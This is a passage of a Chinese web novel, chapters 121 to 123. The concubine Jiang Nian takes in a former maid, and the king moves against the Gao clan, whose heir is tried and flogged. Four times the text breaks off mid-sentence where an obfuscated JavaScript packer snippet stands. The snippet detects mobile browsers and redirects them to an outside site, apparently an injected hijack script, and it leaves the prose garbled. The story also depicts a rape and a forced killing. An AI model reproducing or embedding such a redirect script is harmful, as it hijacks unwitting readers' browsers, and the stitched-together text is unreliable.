宫婢们手脚很轻,除了衣衫发现的窸窣声,再无其他,随后就安静了下来,静得只有风吹着桌案上书册,一页翻过一页的脆响。 江念这一觉睡得很沉,醒来时,已是下午,不见呼延吉,想他应是去了前廷。 她因这一觉睡得酣甜,连午饭也未食,腹中忽觉饥馁,便吩咐下去,让膳房上些饭食。 宫婢们给江念换下寝衣,拿出一套素色轻便常服给她换上,又替她梳发,额边不留碎发,一齐梳到脑后,编织成一股麻花,盘了一个单髻,再在浓密的乌髻上簪翠珠,简简单单难掩清丽,越发衬得姿容丰秀。 梳妆毕,江念在宫婢的环簇下去了前厅。 饭食正一道接一道从外传入正殿的宫婢手中,再由宫婢往桌上摆放。 江念刚入座,就听到外面窃窃低语,像是刻意压低了声音,一方语气急切,另一方言带恳求,声音很低,说到后来语气渐急,像在争执着什么。 “谁在外面?”江念问道。 秋月一面替江念布菜,一面给达娃睇了一个眼色,达娃点了点头,出了外面。 江念把珠珠叫到身边,让她一同坐下,随自己吃些。 她把这孩子看得很亲,当自己的小妹一样,从来不对她有什么要求,单纯养在身边。 西殿众人也都知道,所以并不分派事情给她做,瘦老鼠一般的小丫头,结果成了王殿里最无忧的那个,真真叫人羡慕。 平时,只要大王不在殿中,梁妃便会叫她一同上桌用饭。 珠珠坐下后,江念将秋月给她布的一碟子菜馔搁到她面前,叫她吃,这孩子以前饿怕了,对吃食有些无端的贪馋。 正说着,达娃走到江念面前,回禀:“是大膳房那个叫阿星的丫头,正在殿外求着,想进来见一见您,守殿的宫人们拦着不让她进。” 达娃说罢,看了一眼秋月,撇了撇嘴,嘴角带了一抹轻屑,秋月见了并不言语,阿星当初去徽城时,她见过一面,主子还让她引着阿星在徽城转一转。 没两天人就走了,那个时候她还不明,后来珠珠来了,到主子跟前伺候,再然后,她随主子进了王庭,也就明了了,那个时候阿星定是自持宫婢的身份,不屑留在主子跟前伺候。 这几日阿星总会有意无意地打正殿经过,然后找各种理由想要进殿,皆被守殿的宫人拦下,她同达娃、帕依等人是知晓此事的,不太愿搭理,想不到她竟然不死心地趁主子用膳时径直找来。 江念听说,心下奇怪,阿星?不是已经将她从浣洗院调回大膳房了?难不成又碰上难处了?心里这样想着,吩咐道:“让她进来。” 阿星被带到徽城,大王让她近身伺候江念,她有些不情愿,认为江念同她一样,做好姐妹可以但不能当主子,甚至迸出一个念头,若江念能当主子,她岂不是也可以? 当然,她自知这个想法荒诞,所以也只是一闪而过,有时候人的潜意识就像一条嗅觉灵敏的犬,只要它来过一次,日后总能嗅着味找回来。 后来,她如愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15381907|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地回了王庭,却被贬去了浣洗院。 再后来,她得知江念随王回了王庭,并且被册封为梁妃,成了王庭的主人。 然而此时的江念不是她想见就能见的,于是辗转找到珠珠,就连见珠珠,她还费了些工夫。 她让珠珠在江念面前诉一诉她的况景,江念得知后一定不会不管她,预料之内,她调离了浣洗院,预料之外,她调回了大膳房。 有一丝欣喜,可更多的是失悔,浓浓的失悔把那一丝欣喜也盖没了。 江念见阿星被两个殿内宫婢引来,在她不远处立住。 “婢子叩见梁妃。”阿星说着行下礼。 江念将她叫到跟前,问道:“何事找来?” 话音才落,阿星“扑通”一声跪到江念脚边,哽咽道:“求梁妃殿下怜悯,将婢子调到您身边伺候。” 秋月同达娃互看一眼,倒是个不客气的主,一点软话不说,直接开口讨要。 江念看了眼阿星,想了想,问道:“你要跟在我身边伺候,不愿在膳房当值?” 阿星伸出一双手,在江念面前颤颤摊开,只见那双手的指节全已溃烂,有几处已经开始结疤,有些地方仍发红发肿。 “婢子在浣洗院当值时,手上的伤就没好过,后来调回膳房,因手上有伤,阿姆们便让我做下力的粗活,是以,手上的伤一直不见好,再这么下去,这双手不残也废,婢子没了办法,只好没脸地来求殿下,望殿下看在往日之情上,让婢子到您身边伺候。” 江念初进王庭,做得洒扫丫头,头一日当值就错过了饭食,是阿星偷偷给她留了食盒,虽然最后被丽奴打翻了,后来也是阿星同阿月下值后,找到后湖,帮她清扫庭院。 那个时候,她们三人还有红珠每日最开心的事就是夜深人静之时,四人围窝在通铺上,吃着阿星从大膳房偷带出来的小食,一面吃,一面说着谁谁的坏话。 江念曾说过,她到异国感受到的第一抹暖意是她们给的,让她在一个陌生的环境没那么恓惶。 大姐似的红珠没了,温柔的阿月也走了,现在只有阿星,想一想,心头一片惨然。 江念起身,走到阿星面前将她扶起,满眼心疼地看着那双红肿溃烂的手,心里却想起红珠,那个时候红珠就是因为划伤了手臂,当作小伤不去在意,伤口感染丢了性命。 不能再让阿星重走旧路。 “你先回房养几日,我叫宫医来给你瞧治手伤,等伤好后就到我跟前来,膳房那边不用去了。”江念说道。 阿星心里欢喜,又要跪谢,江念免去她的礼,让她先退下。 既然江念发话了,木雅便将这话传给了西殿管事兰卓,兰卓当下就将阿星调出了膳房,又专为她请了宫医看治手伤。 …… 彼边,呼延吉坐在议政殿的御案后,手指漫不经心地敲着桌案。 不一会儿,丹增引着两名宫侍走了进来,其中一个宫侍手里端着一方木托,托上摆放着几叠册子。 “放下。”丹增说道。 宫侍恭敬地将木托上的册子端正摆放于御案上,然后躬身退到殿外。 呼延吉拿过其中一本册子翻看几眼,问道:“都在这里了?” “回大王的话,这是奴才理出来的,近五年的都在这里了。”丹增说着,上前沏了一盏香茶。 这几本册子上的内容,俱是笔吏将近年朝臣上奏的折子归类誊录。 大王突然叫他调取近五年的书册,且只调高家的…… 第121章 大爷我是高家人 高家为五上姓之一,亦是太后的母族,但高家的嫡系大宗并不在京都,而在弥城。 丹增不知大王让他查找高家卷宗的因由,却明白一个道理,被上位者关注并非一件好事,通俗来说,就是不要变成靶子。 他看向上首年轻的君王,只见他从中拣起一本,快速翻过,看到一处,在那页停留了好一会儿,满意地笑了。 他这一笑,丹增便知,高家要倒霉了。 …… 弥城南市有一处私**院。 这院子叫兰院,兰院在弥城尽人皆知,当然了,它并非什么不正经场所,相反,这兰院是个十分清雅的家院。 说家院不算准确,应是类似于接待达官显贵的私人酒家。 若是走进院里,可观得院中分出好几个小院落,每个院落都以一种草植命名,不仅如此,且每个院落的风格映衬着院落的名字。 譬如,其中一方名为竹轩的院落,里面种满翠竹,日光穿落叶隙,连那逶迤小径都泛着翡翠色,风来,竹叶簌簌惊起,满地碎金。 竹轩旁边的一方院落,名枫居,一院的火红,霞光中最美,如贪酒后的醉美人,贵客们置身此院中,便不愿走出。 再有荷风榭,藤萝苑等等,不一列举,各现韵致。 兰院中这些风韵迥别的小院专门用来招待弥城中的权贵名流,并非有钱就能进入,还需有一定的身份地位,让家中下人提前订下,方能定得一间院落。 在弥城人看来,能进入兰院就是身份的象征。 此处环境清雅别韵不说,里面随便一道菜价可抵中层之家一个月的花销,绝非普通人家可消费得起。 而兰院的老板是一貌美妇人,三十来岁,名七姑。一个美妇人无论如何撑不起这么大的场子,不仅仅需要八面玲珑,还要市侩官僚皆通。 是以,众人皆知,七姑只是兰院明面的老板,真正的老板另有其人,但这在弥城权贵圈中并不是什么秘密,兰院背后的老板是高家正房嫡长子,高逊,人称逊郎。 高家在弥城手眼通天,无人敢惹,就连官府碰见高家人也得客气礼让。 不仅仅因为高家为五上姓,还有另一层原因,就是圣太后出自高家,论起来,他们大王还同高家沾着表亲。 换言之,高家就是弥城的土皇帝,谁人敢惹。 而这高逊在弥城更是行事狠辣,跋扈尤甚,一切随心随性,草菅人命都淡化他的罪行,此人有一骇人恶性,喜淫人妇,渔色无度,不仅如此,更加令人发指的是,偏要拘其人夫在侧,目睹他的**。 谁家有美妻,必被其强占。 纵然如此,百姓也是敢怒不敢言。 …… 兰院深处一方较为隐蔽的院落,整面墙以灰白石垒成,灰壁上渗出青墨斑苔,院门前立着四五个劲装结束的高大护院。 其中一个以胳膊杵了杵另一人,往院里面努了努嘴,两眼戏笑。另一人歪着嘴靠在拱门上,往里面看了几眼,又漫不经心地移到别处。 他们这几人只守院外,院里还有七八人,守望在房门前。 每当高家郎君强行风月之事,便招十余人于院内外看守,不为别的,就怕有人来搅他的兴。 院内的护卫不似院外那般松散,个个面目沉毅,排列立在屋门前。 屋里断续传来女人难忍的凄喘,伴着哭颤,还有可疑的“吱呀”声。 屋外一片阳光明媚,清风徐徐,屋里却是另一番景象。 阔大的房间,奢华富丽,一眼看去珠围翠绕,金光铺地,只是桌椅歪倒,地面散乱着破碎的瓷片,墨绿色的桌布斜拖于地,只有一角悬悬挂着,被一个茶盘压住,要掉不掉的样子。 女人凄凄的呜咽声还在继续,那“吱呀”声也在继续…… 斜阳透窗而来,金色的地砖上是狼藉的碎瓷片和歪倒的桌椅,还有……破碎的女人衣衫…… 屋子正中有一根梁柱,柱上绑着一男子,男人正脸迎着一张宽整的床榻,床榻的纱帐大大开着,像是戏台上拉起的幕帘,将榻上交叠耸动的男女完完全全展露出来。 男人嘴里塞了布条,只能发出沉沉的嘶吼,因太过用力,脖子上的青筋鼓出,一双眼似要睁裂一般,嘴里的布洇出血渍,兴许是嘶吼太过,喉管涌上来的。 终于,晃荡的纱帐不再晃荡,吱呀声也没了。 榻上的男人披衣下榻,懒懒地系上腰带,敞阔的胸前挂着滢滢汗珠。 男人赤足走到桌边,从茶托里取过茶杯,给自己倒了一杯冷茶,慢慢呷了两口,清润的茶水降了他身上的燥热,正待喝下第三口,床榻上飞速冲来一个人影,就在那人影冲撞而来时,绑于柱上的男人发出更加粗嘎的吼。 高逊不慌不忙地一抬手,揪采住冲撞而来的女人的头发,在她脸上看了两眼,再一推,女人赤着身擦趴在地。 那女人艰难地从地上坐起,扭过头看了眼梁柱上的男人,那是她的夫,在她看向他时,他亦回望着她,男人脸上全是泪,全是血,不再竭力嘶吼,只是一味地摇头,边哭边摇头。 他的妻子,他懂,所以他知道接下来会发生什么事…… 没有丝毫犹豫,女人转手抓起地上的瓷片,猛地起身,扎向眼前男人的颈脖。 尖锐的瓷片划破皮肉,滚热的血液喷出,女人瞪大双眼,原本刺向对方的瓷片,回刺到自己的身上。 高逊一手揪住女人的头发,一手包握着女人的手,干净利索地控着她了结自己的性命。 最后一刻,女人死死拽住男人的衣衫,拼着最后一口气,断续道:“**杂种……你会……遭报应……” 高逊冷冷地嗤了一声,根本不在意,十分不耐烦地扒开女人的手,朝外叫了一声:“进来人。” 话音一落,立时进来几个护卫,见了房中情景,不用另作吩咐,自然地用一块床布,将地上还未凉透的尸身裹起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15381908|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,抬了出去。 高逊又招来丫鬟替自己更衣理装,更衣毕,走到梁柱前,十分得意地拍了拍男人的脸,嚣张说道:“你女人的滋味不错,难得找到这么得趣的,可惜了,偏要寻死。” 说罢,见那男人低垂着头,双肩隐隐颤抖,以为他在极悲之下悲戚,随之发现不对,他不是在哭,而是在笑。 先是无声,再然后慢慢笑出声,虽然嘴里塞着布条,那笑声渐大,近乎癫狂。 他还是头一次碰到这样的情况,觉得有趣,遂扯下男人嘴里的布条。 男人慢慢抬起头,咧嘴笑起来,笑得没有任何声响,一口牙上全是血,看着有些骇人。 高逊哼笑一声,觉着索然,转身待要离去,身后的男人开口了。 “我妻常常说我乌鸦嘴,咒人最有一套,高逊,日子还长,走着瞧,我洗眼等着看你遭报应,兴许不用多久,你走出这个门,就撞灾,厄运加身,届时我定放鞭炮庆贺三个日夜。” 男人说罢颠笑出声。 高逊就喜欢看这些贱民无能为力下只能寄托轮回报应之说,不过是虚妄地宽慰自己赖活下去。 “别说我高家为上姓,只要我姑母仍是圣太后,连王座上那位看了我也得叫一声表兄。” 他要打破贱民们的幻想,将他们踩在泥里,看他们垂死挣扎,直到绝望等死。 果然,男人听后,眼中最后一点光寂灭了,只有空洞洞的绝望。 高逊蔑视地笑了两笑,阔步走出房门,几名护卫随在他的身后。 出了这方僻静的院落,经过湖面曲桥时,迎面撞上一人,高逊往后退了一步,十分嫌弃地弹了弹衣衫,再看那人,个头瘦小,皮肤黝黑,看着面生,不像兰院的常客。 那人兴许喝多了酒,嘴里骂骂咧咧。 高逊不听还罢,一听火窜脑门,从来只有他找别人的麻烦,在弥城谁看着他不绕道走,未曾有人敢不要命撞上来,简直不知死活。 “打!” 男人轻描淡写一声,身后的护卫立时上前将男人圈围住,拳脚相加。 那瘦小男人本就醉着,先是挨了几踢,蜷缩抱头蹲在地上,口里叫骂道:“你们是何人,还有无王法?公然行凶**!” 高逊不将男人放在眼里,正待离开,不承想那人却挣出一条胳膊,扯住他的衣摆:“你别想跑,我要去官府告你。” “告我?”高逊摆了摆手,让护卫停下殴打,“去告罢,我等着。” 瘦小男人气哼道:“报上姓名。” 高逊一脚将男人踢倒,那男人本就蹲在地上,个头又小,这一踢直接让他仰倒,连带滚了个跟头。 “听清楚了,大爷我是高家人,人称逊郎,可记住了?告去罢。” 说罢带人离开。 待这些人离开后,瘦小男人从地上站起,定定地看着高逊离去的方向,然后拿袖子擦了擦嘴角边的血,轻笑一声,掉过身轻快地离开…… 第122章 强人之妻 次日,高逊同几个权贵子弟正在游仙窟的雅间听曲儿。 这游仙窟是弥城一等一的风月场所。 几名带刀衙役走到他们面前,看向主座上的高逊,冷声道:“高家郎君,现有人向衙门递诉状告发你,随我等走一趟罢。” 桌上一片寂然无声,歌舞弹唱也停了。 安静中,一个声音笑道:“高兄,这又是哪个不知死活地踢到你这块铁板,居然告到府衙。” 桌上众人听了,俱哄笑出声。 高逊笑着摇了摇头,似是有些无奈,对面前的几名衙役说道:“行了,知道你们也是为了完成差办,去罢,回头我到你们老爷那里说一说,就完事了。” 几名权贵子弟开始让侍女倒酒,戏闹声渐起,歌舞重奏。 当头的那名衙役又道:“想来高家郎君没听明白我等的意思,莫让小的们为难,劳您走一趟。” 才起的戏闹声骤然而止,众人有些摸不清状况,隐隐觉着这次情况有些不对。 高逊表情渐冷,一双眼缓缓下移,几名衙役的手已握在刀柄之上。 游仙窟众人不知发生了何事,只见几名衙役押解着一人出了楼。 “莫不是我眼花了,刚才那人是高家郎君,高逊?”一人说道。 旁边一人接话道:“好像真是他。” 周围私语之声渐大,不惊诧于高家人犯事,而是惊诧于高家人犯事后被抓,这可是前所未有的事。 “走!走!咱们跟去看看!”不知谁说了一声。 众人听说,酒也不吃了,曲儿也不听了,赶着出了游仙窟往官廨涌去。 路上行人有看见高家人被押解的,亦有没看见的,那看见的人凑热闹跟在衙役后面,没看见的,见着好些人赶集似的不知往哪里去,也兴兴头头跟前一道凑热闹。 一时间人流如粥,密密匝匝。 待到衙门之时,衙门口已是蚁聚蜂屯一般。 高逊走到堂中,看了眼上首的弥城府令,然后又看了跪在堂下的男人,黑瘦,小个头,正是昨日在兰院撞上的那人。 高逊走到那人身侧,半屈下身子,低声道:“不过打了你一顿,你还真告到衙门,打量爷不知道你的目的?”说着冷嗤一声,又道:“要多少银子,报个数。” 那人一个正眼也不给高逊,只是直直看向前方,却用更低的声音说道:“不要你的钱,要你的命……” 高逊先是一怔,接着大笑出声,直起身,看向弥城府令,说道:“大人,不过一场小小的私人恩怨,何至于兴师动众传我前来。” 这话里的意思居然在责府令小题大做。 衙门口密集的看客们无不嗟叹,高家在弥城不仅是普通百姓得罪不起,就连府令也不敢将其得罪,高家啊,背后可是立着一尊大佛哩! 今日这场官司只怕还没开始就要结束了,他们不知在虚妄地期待着什么。 思忖间,一个威重的声音说道:“高家子,既是到了公堂,为何不跪?” 众人循声望去,府令发话了。 弥城府令,五十来岁年纪,须发却已花白,神清貌古。 这任府令在弥城还算口碑载道,正直公义,当然了,如果涉及高家之事,那就又是两样,这也不怪他,高家不是他一个府令可以得罪的。 今日这是怎么了,先是衙役押解高逊到公堂,后又让其跪下,俨然一副公事公办的态度。 众人心里又升起几分看热闹不嫌事大的盼望。 高逊看向上首的府令,面上彻底冷下来,显然连最后一点耐心也没了。 “让我下跪?”男人呵了一声,“叫你一声大人都是抬举你,我高家旁支在京都为官者不知几许,随便一位都高出你一府令几头,你安有胆子让我下跪,尔等小吏可受得起?” 此话并非虚言,高逊乃高家大宗嫡出,其父正是高家掌舵之人,亦是当今圣太后之同胞兄弟,这高家郎正正叫圣太后一声姑母,而夷越王更是高逊嫡亲的表弟。 高家旁支在京都为官者甚多,此等狂言从他嘴里说出却算不上狂言,不过是道出实情。 这要放在往常,弥城府令也不敢如此,为官多载,做不到绝对的刚正不阿,不过是在相对条件下,尽保公正罢了,但凡涉及高家,他都是能避则避,睁一只眼闭一只眼。 然而,今次情况却不一样…… “左右何在?!”府令一声道呵。 立时从旁上前几名手执木棍的衙役,一左一右,木棍从高逊臂间穿过,将其双臂反剪于身后,狠狠地往下一压。 男人“砰——”的一声跪倒在地,半边身子都伏贴于地面,十分狼狈。 “老杀才,尔敢!”即使如此,高逊仍是嘴上硬着,他活到如今,从未受过此等**。 高逊的小厮见了,料准形势不对,从人群退去,急忙往高家通风报信去了。 高逊吃力地抬起头,恨声道:“你此番做派可想清楚了,之后兜不兜得住!再者,不过是私人之间因纠葛动了手脚,什么大不了的事,又能把我怎样?!” “私人纠葛动手脚?高家子,我想你是弄错了,堂下这位可不是告你伤人。”弥城府令说着,看向一边的书吏,书吏起身,照着案上的状纸宣读起来。 “状告高逊戕害良善、霸产辱民事 一、建康年,高逊觊觎弥城南市苏合氏宅邸,苏合家主坚拒不允,竟遭其鹰犬缚至城郊,以刃加身,惨遭屠戮,高逊遂鸠占鹊巢,改宅名曰兰院。 二、高家子常见良家妇色,强掳**,以其夫旁观,妇人贞烈,受辱后自戕而亡,血泪斑斑。 三、…… 伏乞青天老爷明镜高悬,按《夷越律》谋财害命、强夺**诸条,将此獠明正典刑,以慰冤魂,泣血具状!” 条条罪状无不让人愤慨唏嘘,衙门前围聚的众人总算等到这一天,想看高家子的下场。 高逊原以为此人状告他伤人,心道大不了赔些钱,谁知翻出旧账不说,把他往日的行径也一并诉了,此时才开始有些发慌。 当下明了这是有人要算计高家,拿他做筏子,瘦小男子背后一定有人指使,一切都是安排好的。 转念一想,不要紧,高家有圣太后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15387696|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撑腰,谁敢不要命动他高家,他这边出了事,奴才们肯定回去报信了,用不了一会儿,就会有人来救他,他会没事的。 “高家子,这些罪状可认?”弥城府令冷声问道。 高逊仍被衙役压伏于地,粗喘着气,府令摆了摆手,让左右退下,好让其起身答话。 高逊松了松肩膀,说道:“毫无根由,说我谋财害命,强压**,证据呢?难不成随便来一人,胡编乱造一通就能定我罪责?” 他敢这样笃定,也是因为当年强占苏合大院时所有知情人皆被处理掉,但凡涉及人命之事,他绝不给自己留后尾。 至于强占**,更加不值一提,牵扯不上人命,顶多算他德行败坏。 事实也确实如此,当年所有的人证、物证皆已销匿。 然而今次不同,有人要治他,没有证据也给你造出证据。 所以当堂上呈出所谓的“证据”之时,高逊满脸不可置信地看着堂上的人证和物证,怔愣了半晌,嚷声道:“不可能,假的!都是假的!” “放肆!公堂之上岂容你狡辩。” 接下来,又是强人之妻的证据,上来的便是妇人的夫,男人眼眶血红,直言高逊辱杀自己的妻子。 “放**屁,是那贱妇想要杀本大爷,大爷我不过为保性命,这才失手杀的她。”高逊也急了,装也不装,撕下上姓之家浮露的礼教。 一个自称失手**,一个咬定故意杀害,谁真谁假根本不重要,其实这案子不用审,不过走个过场,结局早就定好了,就是要拿高家大宗开刀,还特意挑高家最金贵之人下手,可见有多狠了。 弥城府令大喝一声:“来人,高家子,高逊谋财害命,强人之妻,先仗八十大棍,上刑!” 此言一出,衙门前围观的众人激动不已,热血沸腾,老天开眼,恶人终遭报应。 左右得令,就要上前压高逊于堂前仗打,这八十棍下去,不死也残。 高逊哪肯伏法,叫骂道:“小吏安敢动我!老头儿,你这官不想做,难道连命也不要了,可要想好!” 左右见府令态度坚决,便将人押伏,欲要行刑,高逊挣脱不得。 正在此时,衙门口出现异动,围观者被青衣排兵以仗担于两边,空出路来,路头行来一人,不是别人,正是高家家主,只见其高长体量,蓄短须,双目炯炯。 这高家家主,高阿克,虽不在朝为官,族中支系却多在朝为官,可谓是枢机暗握,权柄潜操,恰似姜太公持竿,而众能人影从。 衙门口围观的众人见高家主都来了,心里一凉。 弥城府令见了,当下从案后走出,趋步下阶,同高家主见礼:“高公来了。” 高家主先是看了眼被压伏在地的高逊,再看向弥城府令,笑了笑:“犬子这是犯了何事?触怒了大人?” 府令面对高家主时过谦的姿态,让围观之人心里又是一沉,心里才升起的星火彻底灭了,知道今日治不了高逊的罪责,这案子不用审了,随即又看向依旧腰板挺直跪于堂中的瘦小男人,这人只怕活不了…… 第123章 报应来了 形势两转,衙役不再压伏高逊,整个衙门被高家的青衣兵布控。高氏坐拥私甲于弥城,其青衣兵皆为蓄豢之卒。 弥城府令面对这位大人时,已全然没了刚才的沉毅,让人搬来座位,请高家主入座,又命人上茶。 此时,高逊已起身,走到他父亲身侧侍立,嘴角带着快意,看了一眼堂下跪着的瘦小男子和那人夫,目透阴狠。 高家主入座,问弥城府令,其子所犯何罪。 府令见他发问,便让书吏将诉状再次宣读。 “可否让老夫看一看那诉状?”高家主说道。 府令给书吏睇上眼色,书吏忙趋步上前,将诉状双手呈递。 高家主接过,扫了一眼,一面看一面点头,接着“嗯——”了一声,然后在众目睽睽之下撕了诉状。 衙堂针落可闻,连同府衙前围观的众人也不敢啧声,正在此时,一个声音打破强压下的寂然。 “呀!诉状撕了?!无碍,学生这儿还有一张。” 众人看向发声之人,正是那名瘦小男子,只见他从衣襟里掏出一纸,双手高高举起。 高逊抢步上前,抬起一脚,狠狠踹在男人胸口,将诉状匹手夺过,“嘶啦——”,诉状再次被撕毁。 瘦弱男子笑着从地上爬起,继而又从胸口掏出一张,说道:“这儿还有,一并撕了?没关系,你撕你的,我写我的。” 高家主这才将目光落到瘦弱男子身上,端睨了一会儿,问道:“老夫观你似是读书之人,莫要为了一时意气,阻了自己的前程。” 瘦弱男子从地上爬起,揉了揉胸口,仍是轻松道:“老大人,学生的仕途早就没了,还谈何前程?” 高家主了然,说道:“不过些微小事,你到我府上来,我给你谋一职差,此事揭过,如何?” 高逊听了,激愤道:“父亲!怎的还给他谋差……事……”高逊在他父亲横来的目光下,闭上了嘴,转而明白了父亲的用意,先把此事了结,待这男子到了他高家,如何处置还不是由他说了算。 高家主等着瘦小男人答话,衙堂内外皆屏息以待,等着男人的回答,其实众人已料准结果,换作谁,都会欣然接受,趁机趋奉。 “府令大人!”瘦小男子唤了一声。 弥城府令被这一响亮声叫回神,震了震精神,问道:“何事?” “可否借学生笔墨一用。” 众人不知男人要做什么,书吏将笔墨拿来,瘦小男子接过,将怀里的诉状平整铺于地面,执笔俯身,一面写一面念:“高家家主,贿赂公行,悬秤卖官,以致风俗颓败……” 此话一出,衙门前众人哄得一声笑,在替男人捏一把汗的同时,又不可不谓之畅快,他们这些人中,大多是普通人家出身,就想看看今日这场大戏会是何种结果。 高逊见男人这般不识相,就要上前给他一番教训,再次被他父亲拦下。 “你叫什么名字。” 男子抱拳道:“学生姓崔,名致远。” “可知这样做的后果?”高家家主问道。 虽有青衣兵架棍拦阻,可衙门前**人众太多,他本想把事情捺下,事后再将堂上之人解决,看来是不行了。 崔致远但笑不语。 高家家主站起身,打算尽快了结此事,朝左右吩咐道:“此人借由污蔑,向我高家索要钱财,索要不成,便败坏我高家名声,来人!将此人先仗八十棍,再押入大牢。” 说完,看向弥城府令,问道:“老夫这样做,大人没有异议罢?” 弥城府令看了眼那男子,为难起来,心道,若是接了诉状,继续审案,便得罪了高家,若是伙同高家,便得罪了京都城的那位,想到这里,浑身一激灵,那位是万万不可得罪的,遂咬牙道:“来人,将高逊押下,仗八十!” 高逊头一次对自己的名字产生怀疑,不是将“崔致远押下”而是将“高逊押下”? 当衙役向他走来时,他肯定了,刚才没听错。 “父亲……”高逊看向自己的父亲,不对,太不对了,他甚至预感,高家这次保不住他。 高家家主脸色铁青,一把将桌案的茶盏挥向地面,砸了个粉碎,茶水溅了一地。 “老夫今日倒要看看,谁人敢动我儿?!青衣军何在,速封府衙!” 封府衙?! 衙门外的人群开始骚动,这是彻底撕破脸了,高家打算驱人封锁,待到次日,他们弥城的府令就不是现在这一位,而堂下跪着的那两人,毫无疑问会消失,时日一久,再无人记得他们。 就在青衣兵驱人之时,一个声音从府衙外响起:“高公这是把公门作私邸,想开就开,想关就关,竟如掌中门户般随意。” 众人循声看去,是一个十分高大的男子,阔脸浓眉,一身英武之气。 男人身后如潮水般涌现大量银甲军卫,行走间是铁甲清脆且沉重的铿锵声。 直到这一刻,高家家主,高阿克,一颗心完全地坠到了底,这些人是王庭亲卫! 高逊见他父亲脸色难看,再见涌现的银甲卫,喃喃道:“怎么会这样?怎会这样!”猛然转头对他父亲说道,“父亲!你说话,姑母,对,去信给姑母,她不会坐视不管,父亲,你快去信给姑母,她不会不管逊儿,对了,还有表弟……” “给我闭嘴!”高阿克喝道,今日这出只怕就是他那身为君王的表弟搞出来的,否则身为亲卫首领的阿多图怎么出现在此,高阿克看向来人,说道,“阿多图,这里可是弥城,是我高家的驻地。” 阿多图笑道:“高公这话不对,不论是弥城还是任何城镇,皆是王土。” 话音一落,阿多图面上笑容陡然一降,再无废话,抬手往前一招,立时上来四名银甲军兵,两名把高逊押上刑凳,束绑好,另两名手执木棍高高举起。 一套动作下来又干脆又利索。 衙门前围观之人越来越多,被这遽变之势所震慑,无不愕叹,这般阵仗哪里像寻常审案,分明是将帅帐前行军法。 而高家的青衣兵在这些银甲军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15387697|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面前,如群羊伏草,动也不敢动。 只见两名银甲卫木棍高举,重重落下,棍仗击肉,又沉又闷,那高家郎嘴里塞着布团,叫喊不出,只有惨惨呜吼。 眨眼不到,又是一棍重重落下,每一下都是实实打在臀脊处,不一会儿,下身的衣衫渗出点点血斑,那朵朵血渍晕成一片,连在一处,湿皱地贴着男人的下身。 惨闷的呜吼渐渐变弱。 堂中跪着的人夫,见高逊人不人鬼不鬼的模样,喃喃说道:“吾妻,你可看见了。” 高阿克面目青灰,一语不发,终是忍不住,一屁股倒坐在身后的座椅上。 而围观的众人直直看着眼前这一幕,有人捏紧了拳头,有人咬着牙,亦有人眼中藏笑,无疑他们是兴奋激动的。 每仗打一下,他们心里就快意一分,恶霸终于遭到报应了。 八十刑杖罢,刑凳上的人死活不知。 阿多图上前,并指探向高逊的鼻下,气如游丝,不过还活着,于是看向弥城府令:“府令大人,八十棍已毕,接下来该如何?” 府令擦了擦额上的汗,咽了咽喉,说道:“该监押于牢房,落后再审。” 高家家主在随从的搀扶下颤颤起身,不过半日的工夫,好似苍老了十岁不止。 “留他一口气罢,若要收押,便让老夫将他带回看管,如何?” 府令听罢,看向阿多图。 阿多图溜了一眼刑凳上的高逊,就算让他回高家也无所谓,左右后半辈子是个废人。 “既是高公发话,那便将高郎君交到高公手里,只是……高公定要将人看押好,若再出来害人性命,报私仇,叫那位知晓了,就不好了……” 阿多图看了一眼堂上跪着的那位人夫。 “阿多图大人尽可向上复命,老夫一定看管好犬子,再不叫他胡乱行事。”高家主说道。 直到阿多图带人马离去,衙门口的人群仍是没有散去,这些人里有生意人、庄稼人、读书人,亦有富户子弟,他们中的大多数原是抱着看热闹的心态,直到高逊生死不明地被抬出府衙,仍觉着有些不真实。 只有极少数人察觉出此事并不简单,他们注意到退堂后,那名催姓状告人随着那位将军一起走了。 